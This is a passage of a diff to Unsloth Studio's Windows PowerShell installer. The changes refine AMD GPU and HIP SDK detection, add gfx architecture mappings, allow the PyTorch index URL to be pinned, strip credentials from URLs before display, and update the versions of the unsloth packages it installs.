New layout already exists -- replace only after preserving rollback copy. substep "preserving existing environment for rollback..." @@ -1351,7 +1705,7 @@ shell.Run cmd, 0, False # workspace root (e.g. user's existing project Python venv). $OldVenv = Join-Path $StudioHome ".venv" $OldPy = Join-Path $OldVenv "Scripts\python.exe" - substep "found legacy Studio environment, validating..." + substep "found legacy Unsloth environment, validating..." $prevEAP2 = $ErrorActionPreference $ErrorActionPreference = "Continue" try { @@ -1381,7 +1735,7 @@ shell.Run cmd, 0, False # Skip in env-mode so we don't relocate the default-install venv into # the workspace root. $CwdVenv = Join-Path $env:USERPROFILE "unsloth_studio" - substep "found CWD-relative Studio environment, migrating to $VenvDir..." + substep "found CWD-relative Unsloth environment, migrating to $VenvDir..." Move-Item -LiteralPath $CwdVenv -Destination $VenvDir -Force substep "moved ~/unsloth_studio -> ~/.unsloth/studio/unsloth_studio" $_Migrated = $true @@ -1390,7 +1744,7 @@ shell.Run cmd, 0, False if (-not (Test-Path -LiteralPath $VenvPython)) { step "venv" "creating Python $($DetectedPython.Version) virtual environment" substep "$VenvDir" - $venvExit = Invoke-InstallCommand { uv venv $VenvDir --python "$($DetectedPython.Path)" } + $venvExit = Invoke-InstallCommand -Label "create virtual environment" { uv venv $VenvDir --python "$($DetectedPython.Path)" } if ($venvExit -ne 0) { Write-Host "[ERROR] Failed to create virtual environment (exit code $venvExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to create virtual environment (exit code $venvExit)" $venvExit) @@ -1400,7 +1754,7 @@ shell.Run cmd, 0, False substep "$VenvDir" } - # Mark the freshly-created venv as Studio-owned so a partial install can be + # Mark the freshly-created venv as Unsloth-owned so a partial install can be # repaired by re-running install.ps1; the env-mode deletion guard above # accepts this marker as the primary sentinel. if (Test-Path -LiteralPath $VenvDir -PathType Container) { @@ -1409,7 +1763,7 @@ shell.Run cmd, 0, False # ── Helper: run amd-smi without triggering a UAC elevation prompt ── # amd-smi on Windows auto-elevates to read GPU/APU memory, surfacing a confusing - # DiskPart UAC prompt mid-install (Studio backend amd.py hits the same). + # DiskPart UAC prompt mid-install (Unsloth backend amd.py hits the same). # __COMPAT_LAYER=RunAsInvoker forces it (and helpers it spawns) to run # un-elevated; on failure the WMI name -> gfx fallback still resolves the arch. function Invoke-AmdSmiNoElevate { @@ -1531,29 +1885,87 @@ shell.Run cmd, 0, False if (-not $HasNvidiaSmi) { # hipinfo: PATH first, then HIP_PATH/ROCM_PATH bin fallback (mirrors NVIDIA smi path resolution). # AMD HIP SDK sets HIP_PATH but may not add the bin dir to PATH depending on install type. - $hipinfoExe = Get-Command hipinfo -ErrorAction SilentlyContinue - if (-not $hipinfoExe) { - $hipRoot = if ($env:HIP_PATH) { $env:HIP_PATH } elseif ($env:ROCM_PATH) { $env:ROCM_PATH } else { $null } - $hipEnvLabel = if ($env:HIP_PATH) { "HIP_PATH" } else { "ROCM_PATH" } - if ($hipRoot) { - $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe" - if (Test-Path $hipinfoCandidate) { - Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow - Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow - Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow - $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate } - } else { - Write-Host " [WARN] ${hipEnvLabel}=$hipRoot is set but hipinfo.exe not found at $hipinfoCandidate" -ForegroundColor Yellow - Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow - Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow + # Ignore the venv hipInfo.exe (AMD wheel, on PATH): not a HIP SDK, so + # amd-smi would still auto-elevate. Cf. _path_inside_venv(). + function Test-HipinfoIsVenvInternal { + param([AllowNull()][string]$HipinfoPath) + if ([string]::IsNullOrWhiteSpace($HipinfoPath)) { return $false } + # Also derive the venv from the setup python + default Unsloth home, so + # the venv hipInfo is caught when VenvDir/VIRTUAL_ENV are unset. + $venvRoots = @() + if ($env:VIRTUAL_ENV) { $venvRoots += $env:VIRTUAL_ENV } + $vd = Get-Variable -Name VenvDir -ValueOnly -ErrorAction SilentlyContinue + if ($vd) { $venvRoots += $vd } + if ($env:UNSLOTH_SETUP_PYTHON) { + try { $venvRoots += (Split-Path -Parent (Split-Path -Parent $env:UNSLOTH_SETUP_PYTHON)) } catch {} + } + if ($env:USERPROFILE) { $venvRoots += (Join-Path $env:USERPROFILE ".unsloth\studio\unsloth_studio") } + # A custom Unsloth home (UNSLOTH_STUDIO_HOME / STUDIO_HOME alias) moves the + # venv off the default path; seed it too or its hipInfo escapes the filter. + $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null } + if ($studioHomeEnv) { + # Expand a leading ~ like the canonical resolver; else GetFullPath + # keeps the literal ~ (cwd-relative) and the hipInfo escapes the filter. + if (($studioHomeEnv -eq "~" -or $studioHomeEnv -like "~/*" -or $studioHomeEnv -like "~\*") -and -not [string]::IsNullOrWhiteSpace($env:USERPROFILE)) { + # A bare "~" leaves an empty child path; Join-Path rejects that on + # PS 5.1, so use USERPROFILE directly and only join a real remainder. + $studioHomeRest = $studioHomeEnv.Substring(1).TrimStart('/', '\') + $studioHomeEnv = if ($studioHomeRest) { Join-Path $env:USERPROFILE $studioHomeRest } else { $env:USERPROFILE } } + $venvRoots += (Join-Path $studioHomeEnv "unsloth_studio") + } + try { $hip = [System.IO.Path]::GetFullPath($HipinfoPath).TrimEnd('\', '/') } catch { return $false } + foreach ($root in $venvRoots) { + if ([string]::IsNullOrWhiteSpace($root)) { continue } + try { $r = [System.IO.Path]::GetFullPath($root).TrimEnd('\', '/') } catch { continue } + # Skip a bare drive root (e.g. a non-venv UNSLOTH_SETUP_PYTHON like + # C:\Python311\python.exe yields C:) -- it would match every path on that drive. + if ($r -match '^[a-zA-Z]:$') { continue } + if ($hip.Equals($r, [System.StringComparison]::OrdinalIgnoreCase) -or + $hip.StartsWith($r + [System.IO.Path]::DirectorySeparatorChar, [System.StringComparison]::OrdinalIgnoreCase)) { + return $true + } + } + return $false + } + # Scan all hipinfo and keep the first non-venv one (the venv copy from the + # bnb fix could shadow a real HIP SDK's). -CommandType Application matches + # only real executables, not a user alias/function named hipinfo. + $hipinfoExe = Get-Command hipinfo -CommandType Application -All -ErrorAction SilentlyContinue | + Where-Object { -not (Test-HipinfoIsVenvInternal $_.Source) } | + Select-Object -First 1 + if (-not $hipinfoExe) { + # Iterate the env roots (mirrors the Python list) and take the first non-venv + # bin\hipinfo.exe, so a venv-internal HIP_PATH can't mask a real SDK in ROCM_PATH. + $hipMissingLabel = $null; $hipMissingRoot = $null; $hipMissingCandidate = $null + foreach ($hipEnvLabel in @("HIP_PATH", "HIP_PATH_57", "ROCM_PATH")) { + $hipRoot = [Environment]::GetEnvironmentVariable($hipEnvLabel) + if ([string]::IsNullOrWhiteSpace($hipRoot)) { continue } + $hipinfoCandidate = Join-Path $hipRoot "bin\hipinfo.exe" + if (-not (Test-Path $hipinfoCandidate)) { + if (-not $hipMissingLabel) { $hipMissingLabel = $hipEnvLabel; $hipMissingRoot = $hipRoot; $hipMissingCandidate = $hipinfoCandidate } + continue + } + if (Test-HipinfoIsVenvInternal $hipinfoCandidate) { continue } # venv copy (AMD wheel): not a HIP SDK + Write-Host " [WARN] hipinfo not on PATH -- located via ${hipEnvLabel}: $hipinfoCandidate" -ForegroundColor Yellow + Write-Host " Add '$(Join-Path $hipRoot 'bin')' to your PATH to suppress this warning" -ForegroundColor Yellow + Write-Host " Quick fix: [Environment]::SetEnvironmentVariable('PATH',`$env:PATH+';$(Join-Path $hipRoot 'bin')','User')" -ForegroundColor Yellow + $hipinfoExe = [PSCustomObject]@{ Source = $hipinfoCandidate } + break + } + if ((-not $hipinfoExe) -and $hipMissingLabel) { + Write-Host " [WARN] ${hipMissingLabel}=$hipMissingRoot is set but hipinfo.exe not found at $hipMissingCandidate" -ForegroundColor Yellow + Write-Host " HIP SDK install may be incomplete -- re-install from:" -ForegroundColor Yellow + Write-Host " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" -ForegroundColor Yellow } } if ($hipinfoExe) { $HipSdkInstalled = $true # binary found → SDK is installed regardless of device state try { $hipOut = & $hipinfoExe.Source 2>&1 | Out-String - if ($LASTEXITCODE -eq 0 -and $hipOut -match "(?i)gcnArchName") { + if ($hipOut -match "(?i)gcnArchName") { + # hipinfo can crash after printing gcnArchName (#6043). + # Once the arch is printed, keep the ROCm wheel path. $HasROCm = $true $_hipAllArches = @([regex]::Matches($hipOut, "(?im)^\s*gcnArchName\s*:\s*(\S+)") | ForEach-Object { ($_.Groups[1].Value -split ':')[0].Trim().ToLower() }) $_hipVisIdx = if ($env:HIP_VISIBLE_DEVICES -match '^\d') { [int]($env:HIP_VISIBLE_DEVICES -split ',')[0] } elseif ($env:ROCR_VISIBLE_DEVICES -match '^\d') { [int]($env:ROCR_VISIBLE_DEVICES -split ',')[0] } else { 0 } @@ -1563,8 +1975,13 @@ shell.Run cmd, 0, False } else { $ROCmGpuLabel = "AMD ROCm" } + if ($LASTEXITCODE -ne 0) { + Write-Host " [INFO] hipinfo exited with code $LASTEXITCODE but reported gcnArchName -- treating as ROCm-capable (see #6043)" -ForegroundColor Cyan + } } elseif ($LASTEXITCODE -ne 0) { - # hipinfo ran but returned a HIP runtime error (e.g. "no ROCm-capable device detected") + # hipinfo ran but returned a HIP runtime error without any gcnArchName + # output (e.g. "no ROCm-capable device detected"), or crashed before + # printing device info. $firstLine = ($hipOut -split '\r?\n' | Where-Object { $_.Trim() } | Select-Object -First 1) Write-Host " [WARN] hipinfo returned a HIP runtime error (exit $LASTEXITCODE)" -ForegroundColor Yellow Write-Host " $firstLine" -ForegroundColor Yellow @@ -1625,11 +2042,10 @@ shell.Run cmd, 0, False } catch {} } # ── Arch resolution: env-var override → name inference ────────────── - # Runs even when the hipinfo/amd-smi probe could NOT confirm a runtime - # ($HasROCm false): the gfx arch inferred from the WMI GPU name lets the - # studio setup forward --rocm-gfx and pull a GPU-accelerated ROCm - # llama.cpp, which bundles its own ROCm runtime. PyTorch's ROCm wheels - # still require a confirmed HIP SDK -- they stay gated on $HasROCm below. + # Runs even when the probe can't confirm a runtime ($HasROCm false): the + # WMI-name gfx arch drives both ROCm llama.cpp and torch. repo.amd.com + # wheels bundle their own runtime (no HIP SDK), so a mapped arch installs + # ROCm torch directly below -- no wasted CPU base. if (-not $ROCmGfxArch) { # 1. Manual override: set UNSLOTH_ROCM_GFX_ARCH=gfx1151 before running. if ($env:UNSLOTH_ROCM_GFX_ARCH) { @@ -1642,12 +2058,14 @@ shell.Run cmd, 0, False # (gfx120X/110X/1151/1150/103X); unknown names fall back to CPU. elseif ($ROCmGpuLabel) { $nameArchTable = @( - @{ P = "9070 XT|9080"; A = "gfx1201" } # RDNA 4 (RX 9070 XT / 9080) - @{ P = "9070|9060"; A = "gfx1200" } # RDNA 4 (RX 9070 / 9060) - @{ P = "8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+) - @{ P = "890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1150" } # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375) - @{ P = "RX 7900|RX 7800|RX 7700(?!S)|PRO W7900|PRO W7800|PRO W7700"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31) - @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500|PRO V710"; A = "gfx1102" } # RDNA 3 (Navi 33) + @{ P = "9070|9080"; A = "gfx1201" } # RDNA 4 (Navi 48: RX 9070 XT / 9070 GRE / 9070 / 9080) + @{ P = "9060"; A = "gfx1200" } # RDNA 4 (Navi 44: RX 9060 XT / 9060) + @{ P = "8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" } # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+) + @{ P = "890M|880M|Strix Point|HX 37[05]|AI 9 HX|AI 9 36[05]"; A = "gfx1150" } # RDNA 3.5 (Strix Point: Radeon 890M/880M, Ryzen AI 9 HX 370/375) + @{ P = "860M|840M|Krackan|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1152" } # RDNA 3.5 (Krackan Point: Radeon 860M/840M, Ryzen AI 7 350 / AI 5 340) + @{ P = "RX 7900|PRO W7900|PRO W7800"; A = "gfx1100" } # RDNA 3 desktop/workstation (Navi 31) + @{ P = "RX 7800|RX 7700(?!S)|PRO W7700|PRO V710"; A = "gfx1101" } # RDNA 3 (Navi 32) + @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500"; A = "gfx1102" } # RDNA 3 (Navi 33) @{ P = "780M|760M|740M|Phoenix|Hawk Point|Z1 Extreme|Z2 Extreme"; A = "gfx1103" } # RDNA 3 iGPU (Phoenix / Hawk Point) @{ P = "RX 6900|RX 6800|RX 6750|RX 6700|PRO W6800|PRO W6900"; A = "gfx1030" } # RDNA 2 (Navi 21) -- gfx103X family @{ P = "RX 6650|RX 6600|PRO W6600|PRO W6650"; A = "gfx1032" } # RDNA 2 (Navi 23) -- gfx103X family @@ -1763,7 +2181,7 @@ shell.Run cmd, 0, False substep " Ensure the ROCm compute driver is installed alongside the display driver:" "Yellow" substep " https://rocm.docs.amd.com/en/latest/deploy/windows/index.html" "Yellow" } elseif ($ROCmGfxArch) { - # Known arch: Studio setup installs AMD's bundled-runtime ROCm PyTorch wheels + # Known arch: Unsloth setup installs AMD's bundled-runtime ROCm PyTorch wheels # (repo.amd.com), which ship their own runtime -- HIP SDK optional. step "gpu" "AMD ROCm ($ROCmGfxArch)" "Cyan" substep "Detected: $ROCmGpuLabel" "Cyan" @@ -1781,10 +2199,31 @@ shell.Run cmd, 0, False # On an AMD GPU (no NVIDIA), surface the optional WSL-ROCm driver hint. if (-not $HasNvidiaSmi -and ($ROCmGfxArch -or $ROCmGpuLabel)) { Show-AmdWslDriverHint } + # Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL + # TrimEnd corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared. + function Trim-IndexPathSlashes { + param([string]$Url) + $value = $Url.Trim() + $idx = $value.IndexOfAny([char[]]@('?', '#')) + if ($idx -lt 0) { + return $value.TrimEnd('/') + } + return $value.Substring(0, $idx).TrimEnd('/') + $value.Substring($idx) + } + # ── Choose the correct PyTorch index URL based on driver CUDA version ── # Mirrors Get-PytorchCudaTag in setup.ps1. function Get-TorchIndexUrl { $baseUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" } + # Explicit pin -- skip ALL GPU probing (headless / CI / cross-install). + # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf appended + # to the mirror base. Matches install.sh / install_python_stack.py. + if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) { + return (Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL) + } + if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) { + return "$baseUrl/$($env:UNSLOTH_TORCH_INDEX_FAMILY.Trim().Trim('/'))" + } if (-not $NvidiaSmiExe) { return "$baseUrl/cpu" } try { $output = Invoke-NvidiaSmiBounded $NvidiaSmiExe @@ -1804,6 +2243,91 @@ shell.Run cmd, 0, False substep "could not determine CUDA version from nvidia-smi, defaulting to cu126" "Yellow" return "$baseUrl/cu126" } + + # Strip userinfo AND query/fragment so an authenticated pin never leaks. Shared with + # _strip_index_url_credentials (install.sh / py / setup.ps1). + function Remove-IndexUrlCredentials { + param([string]$Url) + # Ordinal, not culture-aware: on non-English locales (e.g. th-TH) linguistic + # IndexOf treats "://" as ignorable, mis-locates it, and crashes Substring (issue #7279). + $sep = $Url.IndexOf('://', [System.StringComparison]::Ordinal) + if ($sep -lt 0) { return $Url } + $scheme = $Url.Substring(0, $sep) + $rest = $Url.Substring($sep + 3) + # Drop query / fragment (may hold auth tokens). + $q = $rest.IndexOfAny([char[]]('?', '#')) + if ($q -ge 0) { $rest = $rest.Substring(0, $q) } + $slash = $rest.IndexOf('/', [System.StringComparison]::Ordinal) + $authority = if ($slash -ge 0) { $rest.Substring(0, $slash) } else { $rest } + $at = $authority.LastIndexOf('@', [System.StringComparison]::Ordinal) + $host_ = if ($at -ge 0) { $authority.Substring($at + 1) } else { $authority } + if ($slash -ge 0) { return "${scheme}://${host_}$($rest.Substring($slash))" } + return "${scheme}://${host_}" + } + + # ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ── + # torch.__version__ -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu, + # matching setup.ps1's stale-venv parse. + function ConvertTo-TorchFlavorTag { + param([string]$TorchVersion) + if (-not $TorchVersion) { return $null } + if ($TorchVersion -match '\+(cu\d+)') { return $Matches[1] } + if ($TorchVersion -match '\+rocm') { return 'rocm' } + if ($TorchVersion -match '\+cpu') { return 'cpu' } + return 'cpu' + } + + # Expected tag from the index leaf: cuXXX / cpu / rocm ($ROCmIndexUrl or a + # gfx* leaf -> rocm). $null on an unknown leaf (odd mirror) so repair no-ops. + function Get-ExpectedTorchFlavorTag { + param([string]$TorchIndexUrl, [string]$ROCmIndexUrl) + if (-not [string]::IsNullOrWhiteSpace($ROCmIndexUrl)) { return 'rocm' } + if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return $null } + # Drop query/fragment first so .../cu128?token=x classifies as cu128 (else it reinstalls every run). + $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant() + if ($leaf -match '^cu\d+$') { return $leaf } + if ($leaf -eq 'cpu') { return 'cpu' } + if ($leaf -match '^rocm') { return 'rocm' } + # gfx must be followed by a digit (an architecture leaf); gfx-private is custom. + if ($leaf -match '^gfx[0-9]') { return 'rocm' } + return $null + } + + # Installed torch flavor tag in $PythonExe's venv, or $null if absent. Uses + # ProcessStartInfo (not &) so stderr doesn't trip $ErrorActionPreference. + function Get-InstalledTorchTag { + param([string]$PythonExe) + if (-not $PythonExe -or -not (Test-Path -LiteralPath $PythonExe)) { return $null } + try { + $psi = New-Object System.Diagnostics.ProcessStartInfo + $psi.FileName = $PythonExe + $psi.Arguments = '-c "import torch; print(torch.__version__)"' + $psi.RedirectStandardOutput = $true + $psi.RedirectStandardError = $true + $psi.UseShellExecute = $false + $psi.CreateNoWindow = $true + $proc = [System.Diagnostics.Process]::Start($psi) + # Drain BOTH streams async, then WaitForExit. A synchronous ReadToEnd() + # before the wait would block forever if a wedged "import torch" never + # closes stdout; leaving the redirected stderr undrained would deadlock a + # child that floods it past the pipe buffer. Async reads let a noisy-but- + # exiting probe finish, while a truly hung one still hits the 30s timeout + # and is killed -- bounded either way. + $outTask = $proc.StandardOutput.ReadToEndAsync() + $errTask = $proc.StandardError.ReadToEndAsync() + $finished = $proc.WaitForExit(30000) + if (-not $finished) { try { $proc.Kill() } catch {}; return $null } + $torchVer = $outTask.GetAwaiter().GetResult().Trim() + [void]$errTask.GetAwaiter().GetResult() + if ($proc.ExitCode -ne 0 -or -not $torchVer) { return $null } + return ConvertTo-TorchFlavorTag $torchVer + } catch { return $null } + } + + # An explicit pin is authoritative: the AMD ROCm reroute below must not rewrite it + # (e.g. a deliberate cpu pin on an AMD host). + $TorchIndexPinned = (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) -or ` + (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) $TorchIndexUrl = Get-TorchIndexUrl # ── GPU arch → newest compatible Windows ROCm wheel release ── @@ -1815,13 +2339,20 @@ shell.Run cmd, 0, False # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs. $ROCmIndexUrl = $null $ROCmTorchFloor = $null - if ($HasROCm -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { + $PinnedRocmVisionSpec = $null + $PinnedRocmAudioSpec = $null + if (-not $TorchIndexPinned -and ($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) { $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" } $archFamilyMap = @{ "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all" # RDNA 4 "gfx1151" = "gfx1151"; "gfx1150" = "gfx1150" # RDNA 3.5 (Strix Halo/Point) + "gfx1152" = "gfx1152" # RDNA 3.5 (Krackan Point) "gfx1103" = "gfx110X-all"; "gfx1102" = "gfx110X-all" # RDNA 3 "gfx1101" = "gfx110X-all"; "gfx1100" = "gfx110X-all" + "gfx1036" = "gfx103X-all"; "gfx1035" = "gfx103X-all" # RDNA 2 (RX 6000) + "gfx1034" = "gfx103X-all"; "gfx1033" = "gfx103X-all" + "gfx1032" = "gfx103X-all"; "gfx1031" = "gfx103X-all" + "gfx1030" = "gfx103X-all" "gfx90a" = "gfx90a"; "gfx908" = "gfx908" # MI200/MI100 } # gfx120X (RDNA 4) and gfx1151/gfx1150 (Strix) have a null-pointer bug in @@ -1837,6 +2368,20 @@ shell.Run cmd, 0, False $torchFloorMap = @{ "gfx1201" = "torch>=2.11.0,<2.12.0"; "gfx1200" = "torch>=2.11.0,<2.12.0" "gfx1151" = "torch>=2.11.0,<2.12.0"; "gfx1150" = "torch>=2.11.0,<2.12.0" + "gfx1152" = "torch>=2.11.0,<2.12.0" + } + # Companion ranges track the torch ceiling so pip resolves a consistent + # trio on AMD's per-arch index (each published independently). Mirrors + # setup.ps1 / install_python_stack.py; bump all three together for 2.12.x. + $torchvisionFloorMap = @{ + "gfx1201" = "torchvision>=0.26.0,<0.27.0"; "gfx1200" = "torchvision>=0.26.0,<0.27.0" + "gfx1151" = "torchvision>=0.26.0,<0.27.0"; "gfx1150" = "torchvision>=0.26.0,<0.27.0" + "gfx1152" = "torchvision>=0.26.0,<0.27.0" + } + $torchaudioFloorMap = @{ + "gfx1201" = "torchaudio>=2.11.0,<2.12.0"; "gfx1200" = "torchaudio>=2.11.0,<2.12.0" + "gfx1151" = "torchaudio>=2.11.0,<2.12.0"; "gfx1150" = "torchaudio>=2.11.0,<2.12.0" + "gfx1152" = "torchaudio>=2.11.0,<2.12.0" } $archFamily = if ($ROCmGfxArch -and $archFamilyMap.ContainsKey($ROCmGfxArch)) { $archFamilyMap[$ROCmGfxArch] } else { $null } if ($archFamily) { @@ -1854,6 +2399,32 @@ shell.Run cmd, 0, False } } + # A gfx*/rocm pin skips the auto-reroute above, but the generic CPU/CUDA install below + # would use torch>=2.4,<2.11 and pull a known-bad wheel on the gfx115x/gfx120x/rocm>=7.2 + # indexes (the _grouped_mm bug). Route a pinned ROCm index through the ROCm path. + if ($TorchIndexPinned -and -not $ROCmIndexUrl -and -not $SkipTorch) { + $_pinLeaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLower() + $_pinRocm211 = $false + # Anchor ($) so a suffixed custom leaf (rocm7.2-private) falls through to verbatim. + if ($_pinLeaf -match '^rocm(\d+)\.(\d+)$') { + # Only KNOWN-2.11 rocm (rocm7.2) gets the floor. Matches Test-RocmKnown211Version. + $_pinRocm211 = ([int]$Matches[1] -eq 7 -and [int]$Matches[2] -eq 2) + } + # Only the 2.11-allowlist gfx arches need the floor; others publish <2.11 and stay bare. + $_pinGfx211 = @('gfx120x-all', 'gfx1151', 'gfx1150', 'gfx1152') -contains $_pinLeaf + if ($_pinGfx211 -or $_pinRocm211) { + $ROCmIndexUrl = $TorchIndexUrl + $ROCmTorchFloor = "torch>=2.11.0,<2.12.0" + $PinnedRocmVisionSpec = "torchvision>=0.26.0,<0.27.0" + $PinnedRocmAudioSpec = "torchaudio>=2.11.0,<2.12.0" + substep "pinned ROCm index ($_pinLeaf) -- enforcing $ROCmTorchFloor" "Cyan" + } elseif ($_pinLeaf -match '^gfx[0-9]' -or $_pinLeaf -match '^rocm[0-9]+(\.[0-9]+)?$') { + # Other gfx / older rocm (<=7.1) ship torch <2.11; route via the ROCm path with + # bare specs. Only EXACT rocm/gfx* are families; a suffixed leaf is verbatim. + $ROCmIndexUrl = $TorchIndexUrl + } + } + if ($ROCmIndexUrl) { $TorchIndexFamily = "rocm" } else { @@ -1866,10 +2437,10 @@ shell.Run cmd, 0, False if (-not $SkipTorch -and -not $ROCmIndexUrl -and $TorchIndexUrl -like "*/cpu") { Write-Host "" if ($ROCmGfxArch) { - # Known AMD arch: install.ps1 lays down CPU PyTorch as a base, then - # setup.ps1 swaps in AMD's bundled-runtime GPU ROCm wheels (no HIP SDK). - substep "Installing CPU PyTorch as a base -- Studio setup installs GPU ROCm" "Cyan" - substep "wheels for $ROCmGfxArch next (bundled runtime; HIP SDK not required)." "Cyan" + # Only an unmapped arch reaches here (a mapped one set $ROCmIndexUrl + # above). No ROCm torch wheels for this arch (e.g. RDNA2 gfx103X) -> CPU. + substep "Installing CPU PyTorch -- no ROCm PyTorch wheels are available for $ROCmGfxArch." "Yellow" + substep "PyTorch (training and Transformers inference) runs on CPU on this GPU." "Yellow" } else { if ($HipSdkInstalled -and -not $HasROCm) { substep "Installing CPU-only PyTorch (HIP SDK found but GPU not ROCm-accessible)." "Yellow" @@ -1916,28 +2487,28 @@ shell.Run cmd, 0, False } if ($_Migrated) { - # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state - # in the new venv location, while preserving existing torch/CUDA + # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving + # existing torch/CUDA unless the flavor repair below re-lands it. Write-TauriLog "STEP" "Installing unsloth" substep "upgrading unsloth in migrated environment..." if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } if ($baseInstallExit -eq 0) { # Resolve pydantic WITH deps so pip pins pydantic-core # to the matching version (no-torch-runtime.txt below # is --no-deps). All transitive deps are torch-free. - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython pydantic } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic } } if ($baseInstallExit -eq 0) { $NoTorchReq = Find-NoTorchRuntimeFile if ($NoTorchReq) { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps -r $NoTorchReq } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install no-torch runtime deps" { uv pip install --python $VenvPython --no-deps -r $NoTorchReq } } } } else { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red @@ -1945,13 +2516,13 @@ shell.Run cmd, 0, False } if ($StudioLocalInstall) { substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) } substep "overlaying unsloth-zoo from git main..." - $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } + $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } if ($zooOverlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit) @@ -1962,17 +2533,57 @@ shell.Run cmd, 0, False substep "skipping 